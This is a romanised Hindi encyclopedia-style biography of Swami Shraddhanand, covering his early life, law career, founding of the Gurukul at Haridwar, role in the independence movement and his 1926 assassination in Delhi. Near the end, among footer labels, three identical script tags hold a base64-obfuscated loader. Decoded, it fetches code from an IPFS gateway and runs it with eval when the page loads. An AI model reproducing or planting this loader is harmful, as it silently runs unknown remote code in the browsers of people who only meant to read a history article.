स्वामी श्रद्धानन्द
svami shraddhanand
| |
| poora nam | svami shraddhanand |
| any nam | brihaspati, muanshiram |
| janm | 22 faravari, 1856 |
| janm bhoomi | jalandhar, panjab |
| mrityu | 23 disambar, 1926 |
| mrityu sthan | chaandani ch aauk, dilli |
| abhibhavak | pita- lala nanakachand |
| pati/patni | shiva devi |
| santan | do putr tatha do putriyaan |
| guru | svami dayanand sarasvati |
| karm bhoomi | bharat |
| prasiddhi | samaj sevak tatha svatantrata senani |
| vishesh yogadan | 1901 mean svami shraddhanand ne aangrezoan dvara jari shiksha paddhati ke sthan par vaidik dharm tatha bharatiyata ki shiksha dene vale sansthan "gurukul" ki sthapana haridvar mean ki. is samay yah manad vishvavidyalay hai, jisaka nam 'gurukul kaang di vishvavidyalay' hai. |
| nagarikata | bharatiy |
| any janakari | svami shraddhanand ne dalitoan ki bhalaee ke kary ko nidar hokar age badhaya, sath hi kaangres ke svadhinata aandolan ka badh-chadhakar netritv bhi kiya. kaangres mean unhoanne 1919 se lekar 1922 tak sakriy roop se mahatthvapoorn bhagidari ki thi. |
svami shraddhanand (aangrezi: Swami Shraddhanand; janm- 22 faravari, 1856, jalandhar, panjab; mrityu- 23 disambar, 1926, dilli) ko bharat ke prasiddh mahapurushoan mean gina jata hai. ve aise mahan rashtrabhakt sannyasiyoan mean agrani the, jinhoanne apana sara jivan vaidik dharm ke prachar-prasar ke lie samarpit kar diya tha. svami shraddhanand ne svarajy hasil karane, desh ko aangrezoan ki dasata se chhutakara dilane, dalitoan ko unaka adhikar dilane aur pashchimi shiksha ki jagah vaidik shiksha pranali ka prabandh karane jaise anek kary kie the. sabase b di bat yah thi ki ve 18vian shati mean hinduoan aur muslimoan ke sarvamany neta the.
janm
svami shraddhanand ka janm 22 faravari, 1856 ee. ko panjab prant ke jalandhar zile mean talavan namak gram mean hua tha. unake pita ka nam lala nanakachand tha, jo eest indiya kampani dvara shasit 'yoonaited provins' (vartaman uttar pradesh) mean pulis adhikari ke pad par niyukt the. shraddhanand ji ke bachapan ka nam 'brihaspati' rakha gaya tha, phir bad mean ve 'muanshiram' nam se bhi pukare ge. muanshiram saral hone ke karan adhik prachalit hua.
shiksha
muanshiram ji ke pita ka tabadala alag-alag sthanoan par hota rahata tha, jis karan muanshiram ki arambhik shiksha achchhi prakar se nahian ho saki. lahaur aur jalandhar unake mukhy karyasthal rahe. ek bar ary samaj ke sansthapak svami dayanand sarasvati vaidik dharm ke prachararth bareli pahuanche. pulis adhikari nanakachand apane putr muanshiram ko sath lekar svami dayanand ka pravachan sunane pahuanche. yuvavastha tak muanshiram eeshvar ke astitv mean vishvas nahian karate the. lekin svami dayanand ji ke tarkoan aur ashirvad ne muanshiram ko dridh eeshvar vishvasi tatha vaidik dharm ka anany bhakt bana diya.
vyavasay tatha vivah
apani shiksha poorn karane ke bad muanshiram ek saphal vakil bane. apani vakalat se unhoanne kafi nam aur prasiddhi prapt ki. ary samaj mean ve bahut hi sakriy rahate the. unaka vivah shiva devi ke sath hua tha. muanshiram ka dampaty jivan sukhapoorvak vyatit ho raha tha, lekin jab muanshiram 35 varsh ke the, tabhi shiva devi svarg sidhar geean. us samay unake do putr aur do putriyaan thian. san 1917 mean unhone sannyas dharan kar liya aur 'svami shraddhanand' ke nam se vikhyat hue.
samaj seva
svami shraddhanand ab dayanand sarasvati ke raste par chal p de evan unake kamoan ko poora karane ka pran liya. apani jivan gatha mean unhoanne likha tha- "rrishivar! kaun kah sakata hai ki tumhare upadeshoan se nikali huee agni ne sansar mean prachalit kitane papoan ko dagdh kar diya hai. parantu apane vishay mean maian kah sakata hooan ki tumhare satsang ne mujhe kaisi giri huee avastha se uthakar sachcha labh karane yogy banaya." svami shraddhanand apana adarsh maharshi dayanand ko hi manate the. maharshi dayanand ke mahaprayan ke bad unhoanne svadesh, sv-sanskriti, sv-samaj, sv-bhasha, sv-shiksha, nari kalyan, dalitotthan, svadeshi prachar, vedotthan, pakhand khandan, aandhavishvas unmoolan aur dharmotthan ke karyoan ko age badhane ke kary kie.
gurukul ki sthapana
varsh 1901 mean svami shraddhanand ne aangrezoan dvara jari shiksha paddhati ke sthan par vaidik dharm tatha bharatiyata ki shiksha dene vale sansthan "gurukul" ki sthapana ki. haridvar ke kaang di gaanv mean 'gurukul vidyalay' khola gaya. is samay yah manad vishvavidyalay hai, jisaka nam 'gurukul kaang di vishvavidyalay' hai. rashtrapita mahatma gaandhi un dinoan afrika mean sangharsharat the. svami shraddhanand ji ne gurukul ke chhatroan se 1500 rupe ekatrit kar gaandhiji ke pas bheje. gaandhiji jab afrika se bharat laute to ve gurukul pahuanche tatha mahatma shraddhanand tatha rashtrabhakt chhatroan ke samaksh natamastak ho uthe. gaandhiji ne shraddhanand ko mahatma shraddhanand kahakar pukara.
svadhinata aandolan mean sakriy
[[chitr:Swami-Shraddhanand-Postal-Stamp.jpg|thumb|200px|svami shraddhanand par jari dak tikat]] svami shraddhanand ne dalitoan ki bhalaee ke kary ko nidar hokar age badhaya, sath hi kaangres ke svadhinata aandolan ka badh-chadhakar netritv bhi kiya. kaangres mean unhoanne 1919 se lekar 1922 tak sakriy roop se mahatthvapoorn bhagidari ki. 1922 mean aangrez sarakar ne unhean giraphtar kiya, lekin unaki giraphtari kaangres ke neta hone ki vajah se nahian huee thi, balki ve sikkhoan ke dharmik adhikaroan ki raksha ke lie satyagrah karate hue bandi banaye ge the. svami shraddhanand kaangres se alag hone ke bad bhi svatantrata ke lie kary lagatar karate rahe. hindoo-muslim ekata ke lie svami ji ne jitane kary kie, us vakt shayad hi kisi ne apani jan jokhim mean dalakar kie hoan. ve aise mahan yugacheta mahapurush the, jinhoanne samaj ke har varg mean janachetana jagane ka kary kiya.
hatya
shraddhanand ji saty ke palan par bahut jor dete the. unhoanne likha hai- "pyare bhaiyo! ao, donoan samay nity prati sandhya karate hue eeshvar se prarthana karean aur usaki satta se is yogy banane ka yathn karean ki hamare man, vani aur karm sab saty hi hoan. sarvada saty ka chiantan karean. vani dvara saty hi prakashit karean aur kamarean mean bhi saty ka hi palan karean. lekin saty aur karm ke marg par chalane vale is mahatma ki ek vyakti ne 23 disambar, 1926 ko chaandani chauk, dilli mean goli marakar hatya kar di. is tarah dharm, desh, sanskriti, shiksha aur dalitoan ka utthan karane vala yah yugadharmi mahapurush sada ke lie amar ho gaya.
mahattvapoorn tathy
- kashi vishvanath mandir ke kapat sirph riva ki rani ke lie kholane aur sadharan janata ke lie band kie jane v ek padari ke vyabhichar ka drishy dekhakar muanshiram ji ka dharm se vishvas uth gaya tha aur ve buri sangat mean p d ge the. kintu svami dayanand sarasvati ke sath bareli mean hue satsang ne unhean jivan ka anamol anand diya, jise unhoanne sare sansar ko vitarit kiya.
- muanshiram se svami shraddhanand tak ka safar poore vishv ke lie preranadayi hai. svami dayanand sarasvati se huee ek bheant aur patni ke pativrat dharm tatha nishchhal nishkapat prem v seva bhav ne unake jivan ko kya se kya bana diya. samaj sudharak ke roop mean unake jivan ka avalokan karean to pate haian ki unhoanne prabal virodh ke bavajood stri shiksha ke lie agrani bhoomika nibhaee. svayan ki beti amrit kala ko jab unhoanne 'ees-eesa bol, tera kya lagega mol' gate suna to ghar-ghar jakar chanda ikattha kar 'gurukul kaangadi vishvavidyalay' ki sthapana haridvar mean kar apane bete harishchandr aur iandr ko sabase pahale bharti karavaya. svami ji ka vichar tha ki jis samaj aur desh mean shikshak svayan charitravan nahian hote usaki dasha achchhi ho hi nahian sakati. unaka kahana tha ki hamare yahaan shikshak haian, profesar haian, pradhanachary haian, ustad haian, maulavi haian, par achary nahian haian. achary arthath acharavan vyakti ki mahati avashyakata hai.
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>